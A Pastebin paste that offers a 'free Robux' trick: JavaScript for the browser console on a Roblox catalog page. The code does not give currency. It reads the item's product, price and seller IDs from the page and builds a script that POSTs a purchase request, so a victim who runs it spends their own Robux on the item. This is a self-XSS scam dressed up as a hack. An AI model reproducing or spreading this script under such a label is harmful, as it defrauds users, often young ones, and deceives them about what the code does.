Kristjonz

HOW TO GET FREE ROBUX USING THE CATALOG *NO WATING*

Apr 27th, 2017
428
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.16 KB | None | 0 0
  1. var btnData = document.getElementsByClassName("btn-fixed-width-lg btn-primary-lg PurchaseButton")[0].attributes;
  2. var buyData = document.getElementById("item-container").attributes;
  3. var newScript = "var buy = 'https://www.roblox.com/API/Item.ashx?rqtype=purchase&productID=ABC420YOLO&expectedCurrency=1&expectedPrice=ABC123YOLO&expectedSellerId=ABC360YOLO&userAssetID=ABC207YOLO'; $.ajax({ url: buy, type: 'POST' });";
  4.  
  5. function loadAttributes(data, name) {
  6. for(var i = 0; i < data.length; i++) {
  7. if(data[i].name.indexOf('data-product-id') >= 0) {
  8. newScript = newScript.replace('ABC420YOLO', data[i].value);
  9. }
  10. if(data[i].name.indexOf('data-expected-price') >= 0) {
  11. newScript = newScript.replace('ABC123YOLO', data[i].value);
  12. }
  13. if(data[i].name.indexOf('data-expected-seller-id') >= 0) {
  14. newScript = newScript.replace('ABC360YOLO', data[i].value);
  15. }
  16. if(data[i].name.indexOf('data-userasset-id') >= 0) {
  17. newScript = newScript.replace('ABC207YOLO', data[i].value);
  18. }
  19. }
  20. }
  21.  
  22. loadAttributes(btnData, 'btnData');
  23. loadAttributes(buyData, 'buyData');
  24.  
  25. console.log("//script by urban420 network\n" + newScript + "\n//created by urban420 network");
Add Comment
Please, Sign In to add comment